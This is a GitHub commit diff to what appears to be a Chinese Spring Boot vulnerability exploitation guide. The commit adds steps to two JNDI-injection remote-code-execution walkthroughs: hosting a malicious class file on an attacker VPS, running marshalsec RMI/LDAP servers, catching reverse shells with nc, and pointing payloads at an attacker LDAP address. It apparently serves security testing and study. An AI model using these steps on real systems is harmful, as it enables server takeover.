Skip to content

Commit

Permalink
add the missing exploit conditions
Browse files Browse the repository at this point in the history
  • Loading branch information
LandGrey committed Jun 4, 2020
1 parent b1e14d1 commit ea8371c
Showing 1 changed file with 45 additions and 12 deletions.
57 changes: 45 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -88,9 +88,10 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7)
* [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans-1)
* [步骤二:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81)
* [步骤三:架设恶意 rmi 服务](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rmi-%E6%9C%8D%E5%8A%A1)
* [步骤四:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3)
* [步骤五:发送恶意 payload](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E5%8F%91%E9%80%81%E6%81%B6%E6%84%8F-payload)
* [步骤三:托管 class 文件](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%89%98%E7%AE%A1-class-%E6%96%87%E4%BB%B6)
* [步骤四:架设恶意 rmi 服务](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rmi-%E6%9C%8D%E5%8A%A1)
* [步骤五:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3-1)
* [步骤六:发送恶意 payload](#%E6%AD%A5%E9%AA%A4%E5%85%AD%E5%8F%91%E9%80%81%E6%81%B6%E6%84%8F-payload)
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-4)
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-4)
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-4)
Expand All @@ -107,9 +108,10 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-9)
* [步骤一:访问路由获得 jsessionid](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E8%AE%BF%E9%97%AE%E8%B7%AF%E7%94%B1%E8%8E%B7%E5%BE%97-jsessionid)
* [步骤二:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81-1)
* [步骤三:架设恶意 ldap 服务](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-ldap-%E6%9C%8D%E5%8A%A1)
* [步骤四:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3-1)
* [步骤五:发包触发 JNDI 注入](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E5%8F%91%E5%8C%85%E8%A7%A6%E5%8F%91-jndi-%E6%B3%A8%E5%85%A5)
* [步骤三:托管 class 文件](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%89%98%E7%AE%A1-class-%E6%96%87%E4%BB%B6-1)
* [步骤四:架设恶意 ldap 服务](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-ldap-%E6%9C%8D%E5%8A%A1-1)
* [步骤五:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3-2)
* [步骤六:发包触发 JNDI 注入](#%E6%AD%A5%E9%AA%A4%E5%85%AD%E5%8F%91%E5%8C%85%E8%A7%A6%E5%8F%91-jndi-%E6%B3%A8%E5%85%A5)
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-6)
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-6)
* [0x08:mysql jdbc deserialization RCE](#0x08mysql-jdbc-deserialization-rce)
Expand Down Expand Up @@ -1007,7 +1009,22 @@ http://127.0.0.1:9094/env



##### 步骤三:架设恶意 rmi 服务
##### 步骤三:托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

```bash
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80
```

**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。



##### 步骤四:架设恶意 rmi 服务

下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务:

Expand All @@ -1017,7 +1034,7 @@ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://y



##### 步骤四:监听反弹 shell 的端口
##### 步骤五:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

Expand All @@ -1027,7 +1044,7 @@ nc -lvp 443



##### 步骤五:发送恶意 payload
##### 步骤六:发送恶意 payload

根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。

Expand Down Expand Up @@ -1152,6 +1169,7 @@ http://127.0.0.1:9096/actuator/env

- 存在 `com.h2database.h2` 依赖(版本要求暂未知)
- spring 配置中启用 h2 console `spring.h2.console.enabled=true`
- 目标可以请求攻击者的服务器(请求可出外网)
- JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)


Expand All @@ -1178,7 +1196,22 @@ javac -source 1.5 -target 1.5 JNDIObject.java



##### 步骤三:架设恶意 ldap 服务
##### 步骤三:托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

```bash
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80
```

**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。



##### 步骤四:架设恶意 ldap 服务

下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务:

Expand All @@ -1188,7 +1221,7 @@ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://



##### 步骤四:监听反弹 shell 的端口
##### 步骤五:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

Expand All @@ -1198,7 +1231,7 @@ nc -lv 443



##### 步骤五:发包触发 JNDI 注入
##### 步骤六:发包触发 JNDI 注入

根据实际情况,替换下面数据中的 `jsessionid=xxxxxx``www.example.com``ldap://your-vps-ip:1389/JNDIObject`

Expand Down

0 comments on commit ea8371c

Please sign in to comment.